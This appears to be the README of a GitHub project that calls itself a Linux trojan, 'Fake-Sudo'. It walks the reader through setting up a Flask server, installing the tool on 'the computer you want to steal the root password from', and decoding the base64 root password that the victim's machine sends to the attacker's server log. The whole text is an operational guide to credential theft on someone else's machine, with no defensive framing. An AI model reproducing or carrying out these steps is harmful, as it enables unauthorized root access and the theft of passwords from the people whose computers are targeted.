A linux trojan
WARNING: this only works for linux users.
The following commands shall be executed in the terminal.
- Clone the repo
git clone https://github.com/NarmakTwo/Fake-Sudo.git
cd Fake-Sudo
- Install pip if you haven't already
sudo apt instal pip -y
- Make a server
pip install flask
python3 flask.py
(you might have to make a venv,pip install virtualenv && python3 -m virtualenv venv1 && source ./venv1/bin/activate
) - Go to the computer you want to steal the root password from
- Clone the repo
git clone https://github.com/NarmakTwo/Fake-Sudo.git
cd Fake-Sudo
- Setup the program
chmod a+x setup.sh
source setup.sh
- Clear the screen
clear
- Enter the public URL for the server you made (NOT 127.0.0.1)
Site (include https:// or http://) <<< [your url]
- Once the server log says something, copy the end of the url (e.x.
0.0.0.0 - - [January/1/2021 10:23:04] "GET /
qfgghheyfhrf;e/vfrtgisfkdgiyes
HTTP/1.1" 404 -
)and decode itecho [end of url] | base64 -d
, That's the root password! - That's it!